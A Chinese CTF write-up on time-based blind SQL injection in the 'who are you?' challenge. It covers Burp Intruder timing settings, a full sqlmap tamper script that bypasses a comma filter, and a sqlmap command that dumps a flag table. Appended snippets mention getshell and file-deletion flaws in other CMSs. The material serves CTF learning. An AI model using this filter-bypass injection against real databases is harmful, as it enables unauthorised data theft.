实验吧之【who are you?】(时间盲注)补充

第二种方法 使用brup进行盲注  也是一个道理 不多贴了

这里提一下  burp怎么判断超时

Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间(默认为120秒)。

在进行Intruder攻击时,如果连接超时,则状态码和length一栏为空。由此可以判断连接是否超时。

需要注意的是:在开始Intruder攻击前,需要把Intruder->Options->Request Engine->Number of threads的线程数改成1,否则将导致前一个请求的延时造成后一个请求延时,这就使判断不正确了。

需要注意的地方:

在Proxy->Intercept->Raw修改数据包内容时:当这个请求没有POST参数,要求最后空两行,否则数据包将发送不成功;当这个请求有POST参数,要求headers与POST参数之间空一行。

建议在Proxy->Intercept->headers一栏里修改请求包的Headers。

在开始Intruder攻击前,Intruder->Payloads->Payload Encoding的URL-encode these characters的勾要去掉,即不让BurpSuite对payload进行URL编码。

BurpSuite Intruder的Attack Type

本次time-based注入需要选择Cluster bome这个Attack Type

使用的语句和前面盲注脚本的payload大同小异 ,不再贴过程。

第三种也是使用sqlmap 梭哈

但是有过滤 直接梭哈不了 得上脚本

因为本题目 过滤了逗号 我们需要使用from for这样的形式来判断长度

如下 编写tamper脚本

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces some instances with something whthout comma 

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    >>> tamper(‘ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))‘)
    ‘ISNULL(NULL)‘

    >>> tamper(‘MID(VERSION(), 2, 1)‘)
    ‘MID(VERSION() FROM 2 FOR 1)‘

    >>> tamper(‘IF(26=26,0,5)‘)
    ‘CASE WHEN 26=26 THEN 0 ELSE 5 END‘

    >>> tamper(‘IFNULL(NULL,0x20)‘)
    ‘CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END‘

    >>> tamper(‘LIMIT 2, 3‘)
    ‘LIMIT 3 OFFSET 2‘
    """

    def commalessif(payload):
        if payload and payload.find("IF") > -1:
            while payload.find("IF(") > -1:
                index = payload.find("IF(")
                depth = 1
                comma1, comma2, end = None, None, None

                for i in xrange(index + len("IF("), len(payload)):
                    if depth == 1 and payload[i] == ‘,‘ and not comma1:
                        comma1 = i

                    elif depth == 1 and payload[i] == ‘,‘ and comma1:
                        comma2 = i

                    elif depth == 1 and payload[i] == ‘)‘:
                        end = i
                        break

                    elif payload[i] == ‘(‘:
                        depth += 1

                    elif payload[i] == ‘)‘:
                        depth -= 1

                if comma1 and comma2 and end:
                    _ = payload[index + len("IF("):comma1]
                    __ = payload[comma1 + 1:comma2]
                    ___ = payload[comma2 + 1:end]
                    newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    def commalessifnull(payload):
        if payload and payload.find("IFNULL") > -1:
            while payload.find("IFNULL(") > -1:
                index = payload.find("IFNULL(")
                depth = 1
                comma, end = None, None

                for i in xrange(index + len("IFNULL("), len(payload)):
                    if depth == 1 and payload[i] == ‘,‘:
                        comma = i

                    elif depth == 1 and payload[i] == ‘)‘:
                        end = i
                        break

                    elif payload[i] == ‘(‘:
                        depth += 1

                    elif payload[i] == ‘)‘:
                        depth -= 1

                if comma and end:
                    _ = payload[index + len("IFNULL("):comma]
                    __ = payload[comma + 1:end].lstrip()
                    newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
                    payload = payload[:index] + newVal + payload[end + 1:]
                else:
                    break

        return payload

    retVal = payload

    if payload:
        retVal = re.sub(r‘(?i)TIMESTAMPADD\(\w+,\d+,NULL\)‘, ‘NULL‘, retVal)
        retVal = re.sub(r‘(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)‘, ‘MID(\g<1> FROM \g<2> FOR \g<3>)‘, retVal)
        retVal = commalessif(retVal)
        retVal = commalessifnull(retVal)
        retVal = re.sub(r‘(?i)LIMIT\s*(\d+),\s*(\d+)‘, ‘LIMIT \g<2> OFFSET \g<1>‘, retVal)

    return retVal

运行

sqlmap.py -r 1.txt --level=3 --skip="user-agent,referer" -v 3 --tamper=comma -D web4 -T flag -C flag --dump

参考:

https://blog.csdn.net/xiaorouji/article/details/80465683

https://www.cnblogs.com/jielun/p/10941501.html

https://www.jianshu.com/p/5d34b3722128

原文地址:https://www.cnblogs.com/-qing-/p/11072848.html

时间: 2024-10-02 18:55:27

实验吧之【who are you?】(时间盲注)补充的相关文章

实验吧之【who are you?】(时间盲注)

地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF注入 不过首先要进行ip伪造 X-Forwarded-For Client-IP x-remote-IP x-originating-IP x-remote-add 发现X-Forwarded-For可以伪造. 题目说: 我要把攻击我的人都记录db中去! 猜测这是一个INSERT INTO的注入.

Gxlcms时间盲注+后台任意文件删除读取下载+getshell

前台SQL时间盲注 在前台作品评分处 Lib\Home\Action/CommAction.class.php 第56行 $ting_id = $_GET["id"]; 第133行 $ting_gold = $mod->where("ting_id='$ting_id'")->getField("ting_gold"); 导致了可以时间盲注 因为回显不明确 后台GetShell 后台附件设置处 fuzz过程 输入php  被过滤成空

zzcms8.2#任意用户密码重置#del.php时间盲注#复现

00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品招商型) php-5.4.45 . mysql-5.5.53 01x0 任意用户密码重置 01x1 任意用户密码重置方式一 话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~ 先注册个账号,然后首页点击找回密码. 地址:http://localhost/on

SQL盲注--时间盲注

SQL盲注--时间盲注 原文地址:https://www.cnblogs.com/blogs-1024/p/11261651.html

sql注入之limit注入和五种时间盲注姿势

0x00前言 limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客..这里还是记录一下吧以后忘了方便复习. 0x01 limit基础知识 照抄前面的: 这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233 使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据 SELECT?*?FROM?table?LIMIT?[offset,]?rows?|?rows OFFSET offset LIMIT 子句可以被用于强制 SELECT

实验吧CTF who are you?基于时间盲注

这是我第三次接触时间盲注,所以就写一个博文和大家分享一下,还能检验我对知识的掌握程度.?( ′???` ) 点开网址是把你的真实IP地址打印出来!然后立马看网页源代码什么发现都没有! 现在还没有什么想法,用burpsuite抓一下,看看能不能有什么发现 没有什么发现,但是当我们回想打开网页爆出我们的真实ip地址,既然是我们的真实ip,那么在后端应该调用了类似$_SERVER['HTTP_X_FORWARDED_FOR']之类的函数得到我们的真实ip地址.那么我们就用bp来构造一个含有x-forw

时间盲注脚本.py

时间盲注脚本 #encoding=utf-8 import httplib import time import string import sys import random import urllib headers = {} payloads = '[email protected]_.ABCDEFGHIJKLMNOPQRST' print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localt

时间盲注poc编写

当测试注入漏洞时,页面没有返还结果,连报错都没有时,可以考虑延时. 比如这条语句 ?type=1 and if(length(database())=%d,sleep(5),1) 如果这条语句被服务器正确执行,那么服务器返回数据强要比平时慢5秒,通过比较时间来判断正确还是错误. 这就给我们编程提供了思路,如果要猜测一个字段可以先猜测其长度,在一个猜每一个字符 这次依旧是webug的一道练习题 mport requests import time payloads = 'qwertyuio[ema

hdcms时间盲注

吃了一天鸡实在无聊 随便找了个xx的cms 玩玩 洞很简单 在CTF中也经常考 记录下以后留作例子用吧 if (!$user = M("user")->join("__user__ u JOIN __role__ r ON u.rid=r.rid")->find("username='{$username}'")) { $this->error = '帐号不存在'; return false; } if (md5($passwo